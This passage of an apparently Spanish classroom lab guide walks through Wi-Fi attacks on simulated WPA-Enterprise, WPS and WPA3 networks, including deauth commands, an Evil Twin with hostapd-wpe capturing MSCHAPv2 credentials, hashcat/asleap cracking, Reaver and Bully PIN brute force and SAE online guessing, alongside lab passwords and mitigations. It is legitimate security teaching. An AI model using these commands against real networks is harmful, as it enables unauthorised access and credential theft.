1 / 2	25	Túnel TLS: a partir de aquí todo va cifrado
3 (Success)		Autenticación correcta; después viene el 4-way

c) Certificado del servidor

Con TLS 1.2, el certificado del servidor viaja en claro dentro de PEAP:

```
tshark -r cap_ent-01.cap -Y "tls.handshake.type == 11" -V | grep -i "id-at-
commonName"
```

Debe aparecer `radius.domain.lab`. Es lo que debería comprobar el cliente, y lo que imitaría un AP falso. Si la línea no sale, la sesión ha usado TLS 1.3, que cifra el certificado. No afecta al resultado de la práctica.

Resultado esperado: identidad `alumno@iesvjp.es` (viaja en claro en la fase externa), tipo EAP 25 = PEAP y certificado `CN=radius.domain.lab` autofirmado.

Si no aparece ningún paquete EAP: la captura empezó después de una reasociación y se cortó antes de la siguiente. Hay que esperar más. También puede que el cliente no se haya autenticado al desplegar. Para comprobarlo:

```
sudo ip netns exec ns_cli_ent wpa_cli -p /var/run/wpa_supplicant_ent -i
wlan_cli_ent status | grep -E "wpa_state|EAP"
# wpa_state=COMPLETED  /  EAP state=SUCCESS  /  selectedMethod=25 (EAP-PEAP)
```

d) Método 1 — suite aircrack-ng (y por qué **no** crackea Enterprise)

Es un ejercicio de contraste, no un ataque que funcione. El alumno comprueba de primera mano que la vía habitual contra WPA2-PSK aquí no sirve.

```
# Capturar el handshake igual que en he_wpa2
sudo airmon-ng start wlan0 3
sudo airodump-ng -c 3 --bssid <BSSID_ENT> -w cap_ent wlan0mon

# Forzar una reautenticación (opcional: el cliente ya reasocia cada 30 s)
sudo aireplay-ng -0 3 -a <BSSID_ENT> -c <MAC_CLIENTE> wlan0mon

# Intentar crackear el handshake con diccionario
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID_ENT> cap_ent-01.cap
```

Resultado: aircrack-ng dice `got no data packets` o prueba claves y **nunca acierta**, por mucho diccionario que se le dé. Motivo: en WPA-Enterprise la PMK **no** sale de `PBKDF2(passphrase, SSID)`, sino de la sesión TLS (MSK), distinta en cada conexión. No hay una contraseña de red común que adivinar, así que el ataque de diccionario al 4-way es inaplicable. La suite aircrack-ng solo sirve aquí para la parte pasiva (identidad y tipo EAP del apartado b) y para el deauth que alimenta al método 2.

e) Método 2 — Evil Twin con `hostapd-wpe` (RADIUS falso)

Es el ataque realista contra PEAP/MSCHAPv2. Se monta un AP gemelo con un RADIUS falso que **registra el reto y la respuesta MSCHAPv2** del cliente. Como el cliente del lab no valida el certificado del servidor, entrega sus credenciales al gemelo. Después se crackean offline.

`hostapd-wpe` ya se instala con el laboratorio.

1. Configurar el AP gemelo (mismo SSID que el objetivo, en otra interfaz):

```
sudo cp /etc/hostapd-wpe/hostapd-wpe.conf /tmp/et.conf
sudo sed -i 's/^interface=.*/interface=wlan1/' /tmp/et.conf
sudo sed -i 's/^ssid=.*/ssid=he_enterprise/'   /tmp/et.conf
sudo sed -i 's/^channel=.*/channel=3/'         /tmp/et.conf
```

2. Arrancar el gemelo (deja wlan1 como AP; no hace falta monitor):

```
sudo hostapd-wpe /tmp/et.conf
# Queda a la escucha. Cada cliente que se autentique deja sus credenciales
aquí.
```

3. Empujar al cliente hacia el gemelo desde otra terminal. Con deauth repetido, el cliente pierde el AP real y, al reasociar, puede elegir el gemelo:

```
sudo airmon-ng start wlan0 3
sudo aireplay-ng -0 0 -a <BSSID_ENT> -c <MAC_CLIENTE> wlan0mon   # Ctrl+C al
capturar
```

4. Leer el reto/respuesta. Cuando el cliente se autentica contra el gemelo, `hostapd-wpe` imprime (y guarda en `/etc/hostapd-wpe/hostapd-wpe.log`) algo así:

```
username:    alumno@iesvjp.es
challenge:   <16 hex>
response:    <48 hex>
jtr NETNTLM: alumno@iesvjp.es:$NETNTLM$<challenge>$<response>
hashcat:     <challenge>:<response>
```

5. Crackear offline el MSCHAPv2 capturado, por cualquiera de las dos vías:

```
# asleap con diccionario
asleap -C <challenge> -R <response> -W /usr/share/wordlists/rockyou.txt

# o hashcat modo 5500 (NetNTLMv1 / MSCHAPv2)
echo '<challenge>:<response>' > ent.hash
hashcat -m 5500 ent.hash /usr/share/wordlists/rockyou.txt
```

Resultado esperado: la contraseña de `alumno@iesvjp.es` en `he_enterprise` es `computer`, que está en `rockyou.txt`.

Recuperar el hash NT aunque la clave no esté en diccionario. La respuesta MSCHAPv2 se puede reducir a un solo DES (2^56) y obtener el hash NT con `chapcrack`, sea cual sea la contraseña. Ese hash sirve para *pass-the-hash* contra otros servicios NTLM, sin conocer la contraseña en claro.

Notas de laboratorio:

- En `mac80211_hwsim` todas las radios se oyen con la misma señal, así que el cliente puede seguir prefiriendo el AP real. Para forzar la demostración, mantén el deauth (`aireplay-ng -0 0`) o, en un lab aislado, para brevemente el AP legítimo: `sudo ip netns exec ns_ap_ent pkill hostapd`. Vuelve a desplegar al terminar.
- Si solo quieres comprobar que el gemelo captura, conéctate tú mismo con un cliente de prueba configurado para `he_enterprise` sin validar certificado.
- El cliente del lab **no** valida el certificado (sin `ca_cert`): por eso el ataque funciona. Con `ca_cert` fijado y `domain_suffix_match`, el gemelo presentaría un certificado que no es de confianza y el cliente **abortaría** antes de enviar nada: es justo la mitigación.

Fundamento técnico

- **No hay una clave compartida que crackear.** En 802.1X cada usuario se autentica con sus credenciales contra un servidor de autenticación (normalmente RADIUS; en el lab, el EAP integrado de hostapd). La PMK se deriva de la sesión TLS (MSK) y es distinta para cada usuario y conexión. Capturar el handshake 4-way no sirve: la PMK no sale de ninguna contraseña común. Por eso el **método 1 (aircrack-ng) no puede crackear la red** y hay que recurrir al **método 2 (Evil Twin)**, que ataca a MSCHAPv2 dentro del túnel.
- **Fuga 1: la identidad externa.** El `EAP-Response/Identity` se envía **antes** de montar el túnel TLS, así que el usuario viaja en claro. Es lo que se obtiene en este lab. Mitigación: identidad externa anónima (`anonymous@dominio`).
- **Fuga 2: PEAP depende de que el cliente valide el certificado del servidor.** PEAP monta un túnel TLS autenticado solo con el certificado del RADIUS, y dentro va MSCHAPv2. Si el cliente no valida el certificado (o el usuario acepta el aviso), un **Evil Twin** con `hostapd-wpe` (RADIUS falso) completa el TLS con su propio certificado, y el cliente le entrega el reto y la respuesta MSCHAPv2.
- **Debilidad de MSCHAPv2.** Hash NT = MD4(UTF-16LE(contraseña)). La respuesta se calcula cifrando con DES el reto de 8 bytes con tres trozos de 7 bytes del hash NT; el tercero solo tiene 2 bytes reales. Esto permite:
  - un ataque de diccionario offline (`asleap`, `hashcat -m 5500`);
  - reducirlo a **un solo DES** (2^56) y recuperar el hash NT sea cual sea la contraseña. Ese hash ya sirve para *pass-the-hash*.
- **Mitigación:** forzar la validación del certificado en los clientes (CA fijada y nombre del servidor), identidad anónima y, mejor aún, **EAP-TLS** con certificado de cliente (sin contraseña que robar).

---

7. `he_wps` — WPS: fuerza bruta online del PIN

AP WPA2-PSK con **WPS activo** y PIN de AP habilitado. La clave WPA2 son 16 caracteres aleatorios: no cae por diccionario, ni con el handshake ni con el PMKID. La lección es que **WPS entrega la clave WPA2 sin necesidad de crackearla**: basta con adivinar un PIN de 8 dígitos, y por un fallo de diseño del protocolo eso cuesta como mucho 11.000 intentos.

Cómo está montado el escenario

- **PIN y clave aleatorios en cada despliegue.** `despliegue.sh` los genera al arrancar y no quedan ni en el script ni en disco. Cada despliegue tiene una solución distinta (ver "Consultar la solución"

más abajo).

- **PIN acotado para que quepa en una clase.** La primera mitad está entre `0000` y `0099` y la segunda entre `000` y `099`, más el dígito de checksum. Reaver recorre los PINs en orden ascendente, así que el ataque necesita como mucho unos 200 intentos. En un router real serían hasta 11.000.
- **Watchdog anti-bloqueo.** hostapd bloquea el PIN tras 3 fallos (ver el fundamento técnico). Un bucle en segundo plano (`LAB_WPS_WATCHDOG`) vuelve a fijar el PIN cada segundo con `hostapd_cli wps_ap_pin set`, lo que pone a cero los contadores de fallos y desbloquea el AP. Simula un router **sin protección contra fuerza bruta**, que es el caso real vulnerable.
- **Un cliente legítimo** (`wlan_cli_wps`, `192.168.7.10`) hace ping al AP. Da realismo (la red "tiene uso" en airodump) y sirve para comprobar que el AP funciona. **No hace falta para el ataque**: WPS se ataca directamente contra el AP.
- **Usa el binario `hostapd-pmkid`**, por su parche 2 (no exigir ACK). Reaver y Bully se autentican y se asocian desde modo monitor, con el mismo problema que hcxdumptool y el fake auth de WEP (ver sección 5). Con el hostapd del sistema, la asociación nunca se completa. Efecto secundario: el AP también emite PMKID, pero con una clave aleatoria de 16 caracteres no sirve de nada. Es un buen contraste para el alumno.

Al desplegar deben salir `[✓] AP he_wps con WPS activo (PIN de AP habilitado)` y `[✓] Cliente he_wps conectado`.

Consultar la solución (profesor)

```
CLI="hostapd_cli -p /var/run/hostapd_wps -i wlan_ap_wps"
sudo ip netns exec ns_ap_wps $CLI wps_ap_pin get              # PIN del AP
sudo ip netns exec ns_ap_wps $CLI get_config | grep -E 'wps_state|passphrase'
```

Si `get_config` no muestra la passphrase, se obtiene en un solo intento con Reaver indicando el PIN: `reaver ... -p <PIN>` (ver apartado b).

a) Detectar APs con WPS (`wash`)

```
sudo airmon-ng start wlan0 7             # -> wlan0mon
sudo wash -i wlan0mon -c 7
```

Salida esperada (columnas principales):

```
BSSID              Ch  dBm  WPS  Lck  Vendor    ESSID
--------------------------------------------------------------------------------
--
02:00:00:00:15:00   7  -30  2.0  No             he_wps
```

- `WPS 2.0`: versión del protocolo que anuncia el AP en sus beacons.
- `Lck No`: el PIN de AP **no** está bloqueado (*AP Setup Locked*). Si sale `Yes`, el AP rechaza los intentos de PIN.

`wash` lee el **elemento WPS** (*vendor specific*, OUI `00:50:F2`, tipo 4) que el AP incluye en beacons y *probe responses*. Desde fuera se sabe si WPS está activo y si está bloqueado sin enviar nada al AP.

b) Método 1 — Reaver

```
BSSID=<BSSID_WPS>
sudo reaver -i wlan0mon -b $BSSID -c 7 -vv
```

Si Reaver pregunta `Restore previous session?`, responde `n` tras un redespliegue: el PIN ha cambiado y la sesión guardada no sirve.

Salida típica de cada intento:

```
[+] Trying pin "00000000"
[+] Sending authentication request
[+] Sending association request
[+] Associated with 02:00:00:00:15:00 (ESSID: he_wps)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK           <- primera mitad incorrecta
[+] Sending WSC NACK
```

Cuando acierta la primera mitad, el AP responde con **M5** en lugar de NACK y el progreso **salta a ~90,9 %** (10.000 de 11.000 combinaciones descartadas de golpe). Es un momento muy didáctico para preguntar al alumno por qué salta. Al terminar:

```
[+] Pin cracked in 214 seconds
[+] WPS PIN: '00350259'
[+] WPA PSK: 'Xk3pQ9vT2mLr8WzA'
[+] AP SSID: 'he_wps'
```

Resultado esperado: el PIN y la clave aleatorios del despliegue actual (compruébalos con los comandos de "Consultar la solución").

Con el PIN ya conocido, la clave se recupera en un solo intento. Esto demuestra que el PIN es una **credencial permanente**: aunque se cambie la clave WPA2, el PIN sigue entregando la nueva.

```
sudo reaver -i wlan0mon -b $BSSID -c 7 -p <PIN> -vv
```

Opciones útiles si Reaver se atasca en `hwsim`:

Opción	Para qué
`-N`	No enviar NACKs propios (algunos APs se cuelgan con ellos)
`-d 0`	Sin espera entre intentos (por defecto 1 s)
`-L`	Ignorar el estado *Locked* del AP y seguir probando
`-T 1` / `-t 10`	Ajustar los timeouts de M5/M7 y de recepción

c) Método 2 — Bully

Bully hace el mismo ataque y es una reimplementación independiente en C. Sirve para contrastar herramientas y para cuando Reaver falla con un AP concreto.

```
sudo bully -b $BSSID -c 7 -S -A -v 3 wlan0mon
```

- **`-S` (secuencial) es imprescindible en este lab.** Por defecto Bully prueba los PINs en **orden aleatorio**, y el acotado del PIN no acortaría nada. En un router real da igual: el caso medio es el mismo.
- **`-A`: no comprobar los ACK.** Bully espera ver la trama ACK de cada trama que inyecta. `mac80211_hwsim` simula el ACK internamente (como estado de transmisión) pero no emite tramas ACK al medio, así que Bully no las ve y se queda en timeouts.
- `-v 3` muestra cada mensaje M1…M8. Bully indica el resultado de cada intento como `Pin1Bad` (falla la primera mitad, NACK tras M4) o `Pin2Bad` (falla la segunda, NACK tras M6).

Al terminar:

```
[*] Pin is '00350259', key is 'Xk3pQ9vT2mLr8WzA'
```

Bully guarda la sesión en `~/.bully/`. Tras un redespliegue, borra el fichero de ese BSSID o usa `-F` para forzar que empiece de cero.

d) Usar la clave obtenida

```
# wlan1 en modo managed
wpa_passphrase he_wps '<CLAVE>' > wps.conf
sudo wpa_supplicant -B -D nl80211 -i wlan1 -c wps.conf
sudo ip addr add 192.168.7.50/24 dev wlan1
ping -c 3 192.168.7.1
```

Alternativa sin conocer la clave, usando el PIN como **registrador externo** (es exactamente lo que hace Reaver, pero con `wpa_supplicant`):

```
sudo wpa_supplicant -B -D nl80211 -i wlan1 -C /var/run/wpa_supplicant_alumno
sudo wpa_cli -p /var/run/wpa_supplicant_alumno -i wlan1 wps_reg <BSSID_WPS>
<PIN>
```

e) Demostración de la defensa: el bloqueo del PIN

Para mostrar que el bloqueo frena el ataque, detén el watchdog y relanza Reaver:

```
sudo pkill -f LAB_WPS_WATCHDOG
sudo reaver -i wlan0mon -b $BSSID -c 7 -vv
```

Tras 3 PINs incorrectos, Reaver muestra `WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking` y `wash` pasa a mostrar `Lck Yes`. Las esperas se duplican y, con 10 fallos seguidos, el bloqueo es indefinido. Con `-L` Reaver sigue enviando PINs, pero el AP los rechaza todos.

Para desbloquear sin redesplegar:

```
CLI="hostapd_cli -p /var/run/hostapd_wps -i wlan_ap_wps"
sudo ip netns exec ns_ap_wps sh -c "$CLI wps_ap_pin set \$($CLI wps_ap_pin
get) 0"
```

Para volver a tener el watchdog, redespliega.

Problemas frecuentes

- **Reaver se queda en `Sending authentication request` o `Failed to associate`.** El AP no está corriendo con `hostapd-pmkid` o ese binario es anterior al parche del ACK. Comprueba qué binario usa: `ps -ef | grep 'wps/hostapd.conf'`.
- **El despliegue avisa de que WPS no está activo, o el AP no arranca.** El binario `hostapd-pmkid` se compiló sin `CONFIG_WPS=y`. Añádelo al `.config` en `compila_hostapd_pmkid.sh` y recompila con `--force`.
- `wash` **no muestra nada.** La interfaz no está en monitor o no está en el canal 7. Usa `-c 7`.
- `wash` **muestra** `Lck Yes` **sin haber parado el watchdog.** El watchdog se ha caído. Compruébalo con `pgrep -f LAB_WPS_WATCHDOG` y redespliega.
- **Reaver alterna** `Received M1` **y timeouts sin avanzar.** Prueba con `-N` y `-d 0`.

Fundamento técnico

Qué es WPS. *Wi-Fi Protected Setup* (Wi-Fi Alliance, 2006) se diseñó para que un usuario sin conocimientos conectara dispositivos sin teclear la clave WPA2. Tiene varios modos: botón (*PBC*), NFC y **PIN**. En el modo PIN de AP (*label*), el PIN de 8 dígitos suele estar impreso en la pegatina del router. Cualquiera que lo conozca puede actuar como **registrador externo** y pedirle al AP su configuración, que incluye la clave WPA2.

El protocolo (EAP-WSC). El intercambio va dentro de EAP, con el método expandido de la Wi-Fi Alliance (*WSC*). Se hace antes del 4-way y sin cifrado de enlace. Aquí el AP actúa como *Enrollee* (E) y el atacante como *Registrar* (R):

Mensaje	Sentido	Contenido relevante
M1	AP → R	Nonce N1, clave pública Diffie-Hellman **PKE** (1536 bits), datos del dispositivo
M2	R → AP	Nonce N2, clave pública DH **PKR**
M3	AP → R	**E-Hash1, E-Hash2** (compromisos del AP sobre las dos mitades del PIN)
M4	R → AP	**R-Hash1, R-Hash2** + R-S1 cifrado (prueba del registrador sobre la **1.ª mitad**)
M5	AP → R	E-S1 cifrado (el AP revela su secreto de la 1.ª mitad)
M6	R → AP	R-S2 cifrado (prueba sobre la **2.ª mitad**)
M7	AP → R	E-S2 cifrado + **configuración del AP: SSID y clave WPA2**
M8	R → AP	Confirmación (y, opcionalmente, nueva configuración)

Con el Diffie-Hellman de M1/M2 ambos derivan una clave de sesión de la que salen **AuthKey** (para los HMAC) y **KeyWrapKey** (para cifrar con AES los campos "cifrados"):

```
DHKey   = SHA-256(g^(ab) mod p)
KDK     = HMAC-SHA256(DHKey, N1 ‖ MAC_Enrollee ‖ N2)
AuthKey ‖ KeyWrapKey ‖ EMSK = KDF(KDK, "Wi-Fi Easy and Secure Key Derivation")
```

El PIN se verifica en dos mitades:

```
PSK1    = primeros 128 bits de HMAC-SHA256(AuthKey, PIN[1..4])
PSK2    = primeros 128 bits de HMAC-SHA256(AuthKey, PIN[5..8])
E-Hash1 = HMAC-SHA256(AuthKey, E-S1 ‖ PSK1 ‖ PKE ‖ PKR)
E-Hash2 = HMAC-SHA256(AuthKey, E-S2 ‖ PSK2 ‖ PKE ‖ PKR)
R-Hash1 / R-Hash2: lo mismo, con los secretos R-S1 / R-S2 del registrador
```

Es un esquema de *commitment* mutuo: cada parte se compromete con su conocimiento de cada mitad sin revelarla, y luego la va demostrando paso a paso, revelando sus nonces secretos (E-S1, R-S1…).

Qué se explota (Stefan Viehböck, diciembre de 2011):

1. **El AP confirma cada mitad por separado.** Tras recibir M4, el AP comprueba R-Hash1 con R-S1:
    - Si la **primera mitad** es incorrecta, responde con **NACK** en lugar de M5.
    - Si es correcta, envía M5. Con el M6 comprueba la **segunda mitad**: si falla, NACK en lugar de M7.

    El atacante sabe **qué mitad ha fallado**, así que ataca cada una por separado: 10^4 combinaciones para la primera y luego 10^3 para la segunda.

2. **El último dígito es un checksum.** El 8.º dígito se calcula a partir de los 7 anteriores, así que la segunda mitad solo tiene 3 dígitos libres:

   ```
   checksum = (10 − (3·(d1+d3+d5+d7) + (d2+d4+d6)) mod 10) mod 10
   ```

   Espacio total: 10^4 + 10^3 = 11.000 intentos como máximo (5.500 de media), en lugar de 10^8. Por eso Reaver salta al 90,9 % cuando acierta la primera mitad.

3. **El AP entrega la clave WPA2 en claro dentro del túnel.** En M7 el AP envía su configuración (SSID, tipo de autenticación y **Network Key**) cifrada con KeyWrapKey, que el atacante conoce porque él mismo negoció el Diffie-Hellman. Acertar el PIN da la clave directamente, sea cual sea su robustez.

4. **Es un ataque online, pero sin sustituto offline para el defensor.** Cada intento requiere hablar con el AP (unos segundos por intento), pero no importa lo larga que sea la clave WPA2. A unos 2-10 s por intento, un router real cae en horas, no en años.

Contraste con los escenarios anteriores:

	`he_wpa2` / `he_pmkid`	`he_wps`
Qué se ataca	La passphrase	El PIN de WPS
Tipo de ataque	Offline (diccionario)	**Online** (interacción con el AP)
Espacio de búsqueda	Depende de la clave	**11.000**, fijo
¿Importa la robustez de la clave WPA2?	Sí, es la única defensa	**No**
Defensa del AP	Ninguna posible (es offline)	Bloqueo tras fallos / desactivar WPS

El bloqueo (*AP Setup Locked*) como defensa. Al ser online, el AP puede limitar los intentos. hostapd bloquea el PIN tras **3 fallos** durante 60 s, duplica la espera cada 3 fallos más y, con **10 fallos consecutivos**, lo bloquea indefinidamente hasta que se reactiva a mano. El estado se anuncia en el elemento WPS (`AP Setup Locked`), y por eso `wash` lo muestra. Muchos routers de la época no implementaban ningún bloqueo, o lo hacían mal (se reiniciaba con un reboot o con un deauth flood). El watchdog del lab simula precisamente esos routers.

Pixie Dust (Dominique Bongard, 2014) — no reproducible en este lab. Es la evolución offline del ataque. Si el AP genera E-S1 y E-S2 de forma predecible (ceros, o un PRNG sembrado con la hora, como algunos chipsets de Ralink, Broadcom o Realtek), basta **un solo intercambio M1–M3**. Con PKE, PKR, AuthKey y los dos E-Hash, `pixiewps` prueba offline las 10^4 + 10^3 combinaciones contra E-Hash1/E-Hash2 en segundos (`reaver -K`, `bully -d`). hostapd genera esos nonces con un RNG criptográfico, así que aquí Pixie Dust no funciona. Para enseñarlo habría que compilar un hostapd con E-S1 = E-S2 = 0.

Mitigación:

- **Desactivar WPS** (al menos el modo PIN) y comprobar con `wash` que de verdad está desactivado. Algunos firmwares lo siguen anunciando aunque la interfaz web diga lo contrario.
- Si no se puede desactivar: firmware con bloqueo tras fallos y PIN no impreso ni fijo.
- El modo botón (PBC) es menos grave (ventana de 2 minutos tras pulsarlo), pero también permite asociarse a quien esté cerca en ese momento.
- **WPA3 no define WPS.** Su sustituto es **Wi-Fi Easy Connect (DPP)**, basado en claves públicas (código QR) en lugar de un PIN corto.

---

8. WPA3 — tres escenarios (`he_wpa3_tm`, `he_wpa3`, `he_wpa3_dg`)

WPA3-Personal sustituye el PSK de WPA2 por **SAE** (*Simultaneous Authentication of Equals*, también llamado *Dragonfly*). La idea para el alumno es clara: **un WPA3 bien configurado no se crackea como WPA2**. Lo que se ataca es lo que falla en la práctica: el **modo de transición** (que arrastra WPA2), el **downgrade** de clientes mal configurados y las **contraseñas débiles** (que solo caen por diccionario *online*, mucho más lento). Los tres canales libres usados son el 2, el 5 y el 10.

Por qué SAE no es crackeable offline

En WPA2-PSK la PMK es `PBKDF2(passphrase, SSID)`: una función de la contraseña y nada más. Quien captura el handshake o el PMKID puede probar contraseñas offline, sin el AP. En SAE no:

```
Cada parte elige un número secreto aleatorio y hace "hunting and pecking":
  deriva un punto P de la curva elíptica a partir de (passphrase, MAC_A,
MAC_B).
Commit:  A -> B :  scalar_A, element_A      (y al revés)
         (scalar y element se construyen con el secreto aleatorio y con P)
Confirm: A -> B :  HMAC sobre los commits, con una clave derivada del secreto
                   compartido que solo se obtiene si ambos conocen la
passphrase
PMK = se deriva del secreto compartido (distinto en cada conexión)
```

- El intercambio es un **PAKE** (intercambio de claves autenticado por contraseña): lo que viaja (scalars y elements) son puntos de curva elíptica enmascarados con números aleatorios de un solo uso. **No es un verificador offline de la contraseña**: sin el secreto aleatorio de la otra parte no se puede comprobar ninguna candidata contra lo capturado.
- Por eso capturar Commit/Confirm con airodump o hcxdumptool **no sirve**: `hcxpcapngtool` no escribe ninguna línea 22000 crackeable, y `aircrack-ng` dice `no valid WPA handshakes found`. Es el resultado que el alumno debe comprobar **antes** de pasar a los ataques que sí funcionan.
- SAE añade **forward secrecy** (cada sesión tiene su secreto; comprometer la contraseña no descifra capturas antiguas) y **PMF obligatoria** (los deauth falsificados no funcionan).

Comprobar el soporte SAE

`despliegue.sh` ya lo verifica al arrancar (prueba `wpa_key_mgmt=SAE` contra una interfaz falsa). A mano:

```
printf
'interface=x\ndriver=nl80211\nssid=p\nwpa=2\nwpa_key_mgmt=SAE\nrsn_pairwise=CC
MP\nieee80211w=2\nsae_password=prueba123\n' > /tmp/sae.conf
sudo hostapd /tmp/sae.conf 2>&1 | grep -c "invalid key_mgmt"   # 0 = tiene SAE
```

El Kali actual trae hostapd y wpa_supplicant con SAE. No hace falta recompilar nada: los tres escenarios usan el hostapd del sistema.

8.1 `he_wpa3_tm` — Modo de transición (WPA2/WPA3 mixto)

Es la configuración **más común** en routers domésticos: para no dejar fuera a los dispositivos antiguos, el AP acepta **SAE y PSK con la misma contraseña**. El resultado es que la red es tan débil como su parte WPA2.

Cómo está montado

- `wpa_key_mgmt=WPA-PSK SAE`: el AP anuncia los dos métodos en el RSN IE del beacon.
- `ieee80211w=1` (PMF **opcional**): obligatoria rompería a los clientes WPA2. `sae_require_mfp=1` obliga a PMF solo a los clientes que entran por SAE.
- **Dos clientes**: `wlan_cli3_tm` (WPA3/SAE + PMF) y `wlan_cli2_tm` (WPA2-PSK, sin PMF), el "dispositivo antiguo".

Al desplegar deben salir los dos `[✓] Cliente he_wpa3_tm ...`.

a) Atacar la parte WPA2 (lo que funciona)

Igual que `he_wpa2`, pero dirigido **al cliente antiguo**:

```
sudo airmon-ng start wlan0 2
BSSID=<BSSID_TM>
CLIENT_WPA2=<MAC de wlan_cli2_tm>     # lo das tú; en airodump es el que
reasocia con el deauth

sudo airodump-ng -c 2 --bssid $BSSID -w cap_tm wlan0mon
# Otra terminal: deauth al cliente SIN PMF
sudo aireplay-ng -0 3 -a $BSSID -c $CLIENT_WPA2 wlan0mon
# Al reconectar, airodump marca "WPA handshake"
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b $BSSID cap_tm-01.cap
```

Resultado esperado: `princess`. Y esa clave sirve también para entrar por WPA3, porque es la misma.

b) El contraste: el mismo deauth contra el cliente WPA3 **no hace nada**

```
sudo aireplay-ng -0 10 -a $BSSID -c <MAC de wlan_cli3_tm> wlan0mon
```

El cliente SAE tiene PMF: ignora el deauth falsificado (responde con una *SA Query* protegida y sigue conectado). En airodump, su línea no se corta y no aparece ningún handshake nuevo suyo. Es la demostración en directo de para qué sirve 802.11w.

Cómo distinguir los dos clientes en airodump. Los dos están en la lista STATION del mismo BSSID. El que se cae y reasocia con el deauth es el WPA2; el que lo aguanta es el WPA3. Para confirmarlo desde el host:

```
sudo ip netns exec ns_cli2_tm wpa_cli -p /var/run/wpa_supplicant_tm2 -i
wlan_cli2_tm status | grep -E 'key_mgmt|pmf'
sudo ip netns exec ns_cli3_tm wpa_cli -p /var/run/wpa_supplicant_tm3 -i
wlan_cli3_tm status | grep -E 'key_mgmt|pmf'
# tm2: key_mgmt=WPA2-PSK, pmf=0   |   tm3: key_mgmt=SAE, pmf=2
```

Fundamento técnico

- **El modo de transición expone un RSN IE con los dos AKM** (PSK y SAE). Un atacante solo tiene que ir a por el AKM más débil: el handshake WPA2 es crackeable offline exactamente igual que en `he_wpa2`.
- **PMF no puede ser obligatoria** sin dejar fuera a los clientes WPA2, así que esos clientes siguen siendo vulnerables al deauth. Solo los clientes SAE, protegidos por PMF, lo resisten.
- **Mitigación:** cuando ya no haga falta compatibilidad, WPA3 puro. Mientras tanto, **Transition Disable** (ver 8.3): el AP indica a los clientes capaces de SAE que dejen de usar WPA2 para ese SSID, aunque esto no protege a los dispositivos que solo hablan WPA2.

8.2 `he_wpa3` — WPA3 puro (solo SAE): diccionario **online**

AP solo SAE, PMF obligatoria (`ieee80211w=2`). No hay nada crackeable offline. El único ataque es probar contraseñas **haciendo un intercambio SAE real con el AP**, una por conexión. Contraseña débil a propósito (`iloveyou`).

a) Primero, comprobar que lo de siempre NO funciona

Es la parte más importante de la práctica. El alumno intenta capturar y crackear como en los escenarios anteriores:

```
sudo airmon-ng start wlan0 5
BSSID=<BSSID_WPA3>
sudo airodump-ng -c 5 --bssid $BSSID -w cap_wpa3 wlan0mon
# El cliente reasocia cada 30 s (el deauth no sirve: PMF). Esperar y Ctrl+C.

# Intento de crackeo (fracasa):
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b $BSSID cap_wpa3-01.cap
hcxpcapngtool -o wpa3.22000 cap_wpa3-01.cap && ls -l wpa3.22000
```

Resultado: aircrack-ng dice `no valid WPA handshakes found` y `hcxpcapngtool` no escribe ninguna línea (0 hashes). SAE no deja material offline. Conviene enseñar la captura en Wireshark filtrando `wlan.fixed.auth.alg == 3` (SAE): se ven los *Commit* y *Confirm*, pero no hay nada que crackear.

b) El ataque que sí aplica: diccionario online (`sae_online.sh`)

En el laboratorio va incluido `sae_online.sh`, que automatiza el diccionario online con `wpa_supplicant`. Usa una interfaz del alumno (en managed, no monitor):

```
sudo ./sae_online.sh -i wlan2 -s he_wpa3 -b <BSSID_WPA3> -c 5 -n 500
```

El script prueba cada contraseña con un intercambio SAE completo y se detiene al encontrarla, midiendo la velocidad:

```
[  12] Probando: iloveyou
[✓] CONTRASEÑA ENCONTRADA: 'iloveyou'  (12 intentos en 7 s)
    Velocidad: 1.71 intentos/s -> rockyou completo (14,3 M): 97 días
```

Resultado esperado: `iloveyou`. Lo revelador es la **velocidad**: 1-3 intentos/s. La extrapolación que imprime el script es la lección: rockyou entero tardaría **meses**, y una contraseña robusta, inviable. Compáralo con los ~pocos segundos del mismo diccionario offline en `he_wpa2`.

> **Alternativa pública:** existe `wacker` (script en Python sobre `wpa_cli`, mismo principio). `sae_online.sh` evita tener que clonarlo y da la medida de velocidad ya hecha. Si prefieres `wacker`, el procedimiento es equivalente.

Fundamento técnico

- **Online, no offline.** Cada candidata exige el *hunting-and-pecking* (derivar el punto de la curva) y un intercambio Commit/Confirm con el AP. Sin el AP no se avanza, y el AP responde a su ritmo (un intento tarda segundos, no microsegundos). No hay GPU que acelere esto.
- **El AP puede defenderse.** Al ser online, el AP ve muchos *Commit* fallidos seguidos y puede limitar la tasa o bloquear. hostapd tiene `sae_anti_clogging_threshold` (ahora `anti_clogging_threshold`) que, superado un número de *commits* en curso, exige un token y frena la fuerza bruta. En este escenario no se activa para que la práctica avance; en el fundamento se comenta como defensa.
- **Ataques de canal lateral (Dragonblood, Vanhoef–Ronen 2019) — no reproducibles aquí.** El *hunting-and-pecking* original tenía fugas de **tiempo** y de **caché** que permitían recuperar información de la contraseña y reducir el espacio de búsqueda. Dos motivos para no montarlo: (1) están corregidos desde hostapd 2.8 con **Hash-to-Element (H2E)**, la derivación en tiempo constante (`sae_pwe=1` o `2`); (2) medir tiempos en `mac80211_hwsim` no es fiable. Se explican, pero no se practican.
- **Mitigación:** contraseña larga y aleatoria (hace inviable el online); **H2E** (`sae_pwe=2`) contra los canales laterales; limitación de tasa de *commits* en el AP.

8.3 `he_wpa3_dg` — Downgrade de un cliente WPA3 (Dragonblood)

El AP es **solo WPA3** (SAE + PMF), correcto. La debilidad está en el **cliente**: su perfil guardó la red aceptando también WPA2 (`key_mgmt=SAE WPA-PSK`), como un móvil que recuerda la red como "WPA2/WPA3". Un **AP gemelo solo WPA2** con el mismo SSID consigue que el cliente le hable WPA2 y le entregue un M2 calculado con la clave real, que se crackea offline. Es el *downgrade attack* de Vanhoef y Ronen.

Cómo está montado

- AP real `he_wpa3_dg`: `wpa_key_mgmt=SAE`, `ieee80211w=2`. Impecable.
- Cliente `wlan_cli_dg`: `key_mgmt=SAE WPA-PSK`, `ieee80211w=1` (PMF opcional). Esta línea es la vulnerabilidad: acepta volver a WPA2.
- El cliente se reasocia cada 30 s (`select_network` + `reassociate`), así el alumno no depende de un deauth (que PMF bloquearía).

a) Montar el AP gemelo solo WPA2 y capturar

```
